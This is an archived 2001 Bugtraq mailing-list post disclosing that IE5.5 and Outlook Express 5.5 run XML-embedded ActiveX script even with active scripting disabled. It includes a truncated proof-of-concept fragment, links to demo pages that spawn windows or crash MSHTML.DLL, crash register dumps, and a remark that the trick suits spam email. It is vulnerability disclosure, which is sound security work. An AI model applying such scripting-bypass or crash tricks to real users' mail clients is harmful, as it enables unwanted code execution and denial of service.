[20478] in bugtraq
Re: XML scripting in IE, Outlook Express
daemon@ATHENA.MIT.EDU (http-equiv@excite.com)
Fri Apr 27 02:33:30 2001
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <19343805.988301414914.JavaMail.imail@neon.excite.com>
Date: Thu, 26 Apr 2001 09:10:14 -0700
Reply-To: http-equiv@excite.com
From: "http-equiv@excite.com" <http-equiv@excite.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Reference the subject. The problem appears to be both simple and complex.
The purpose of the exercise to disable ONLY active scripting in Internet
Explorer. Accordingly the demo works despite patching everything including
WSH 5.5 and disabling ActiveScripting. Can confirm from these quarters on
win98 and IE5.5 full patched.
It seems most are either setting security to high, which disables ActiveX,
this is returning the xml script error or manually disabling both
ActiveScripting and ActiveX resulting in the same.
Set or leave the security settings on default and only disable
ActiveScripting.
The following are *absolute* bare minimum demos. Note that what is at play
is scripting:
a=new ActiveXObject('htmlfile');
a.location=
What these will do is spawn a new window despite active scripting being
disabled. In both the browser and the mail client. Particularly useful for
Spam email and Usenet when everyone thinks scripting is disabled. Again:
these demos are the bare minimum in order to demonstrate:
IE5.5.- ActiveScripting Disabled
http://www.malware.com/spawn.html
OE5.5. - ActiveScripting Disabled
[save to disk and open in mail client]
http://www.malware.com/spawn.eml
Once again: bare minimum demos for demo purposes only, someone can spend
their own time developing into workable risk, however the original poster's
demo should work just fine.
Further, we can crash everything that touches this extremely hard. Both
IE5.5. and OE.5.5. Stripping the already bare minimum demos, in IE5.5. we
achieve:
IEXPLORE caused an invalid page fault in
module MSHTML.DLL at 015f:020bf7be.
Registers:
EAX=00000000 CS=015f EIP=020bf7be EFLGS=00010202
EBX=00000000 SS=0167 ESP=023ef698 EBP=023ef6c4
ECX=0135f9f0 DS=0167 ESI=023ef748 FS=4367
EDX=00000005 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:
80 78 2e 00 74 19 ff 70 54 8b 45 f8 83 c0 68 50
Stack dump:
00442968 00000000 00000000 00000000 00000000 023ef6cc 020bf5d9 023ef738
00442968 0135fa40 00000000 023ef76c 020c05be 0135f9e4 00000000 00000000
Working demo:
[save to disk and open in mail client]
http://www.malware.com/crash.html
and in OE5.5
MSIMN caused an invalid page fault in
module MSHTML.DLL at 015f:01c9f7be.
Registers:
EAX=00000000 CS=015f EIP=01c9f7be EFLGS=00010202
EBX=00000000 SS=0167 ESP=042bf698 EBP=042bf6c4
ECX=01ed3f20 DS=0167 ESI=042bf748 FS=311f
EDX=00000005 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:
80 78 2e 00 74 19 ff 70 54 8b 45 f8 83 c0 68 50
Stack dump:
0162446c 00000000 00000000 00000000 00000000 042bf6cc 01c9f5d9 042bf738
0162446c 01ed3100 00000000 042bf76c 01ca05be 01ed3f14 00000000 00000000
Working demo:
[save to disk and open in mail client]
http://www.malware.com/crash.eml
All tested in win98 fully patched, IE5.5. fully patched [everything], OE5.5.
Security settings on IE5.5. at default + SCRIPTING DISABLED and OE5.5.
security settings RESTRICTED (coupled with browser setting of scripting
disabled). Other configurations/systems may differ.
---
http://www.malware.com
_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/
